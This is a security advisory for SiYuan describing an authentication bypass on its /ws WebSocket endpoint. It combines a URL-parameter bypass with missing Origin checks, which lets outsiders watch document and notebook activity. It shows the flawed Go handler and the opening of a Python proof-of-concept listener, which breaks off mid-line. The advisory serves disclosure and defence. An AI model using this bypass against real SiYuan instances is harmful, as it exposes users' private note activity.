GitHub Security Advisory: GHSA-xp2m-98x8-rpj6
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: <= 0.0.0[PII_REDACTED]4916-fd6526133bb3
Patched in: unpatched

Summary: SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Details:
# Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

## Summary

SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

## Affected Component

- **File:** `kernel/server/serve.go:728-731`
- **Function:** `serveWebSocket()` → `HandleConnect` handler
- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)
- **Version:** SiYuan <= 3.5.9

## Root Cause

The WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:

```go
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接，避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})
```

Three issues combine:

1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.

2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.

3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.

## Proof of Concept

**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**

### 1. Direct unauthenticated connection

```python
import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED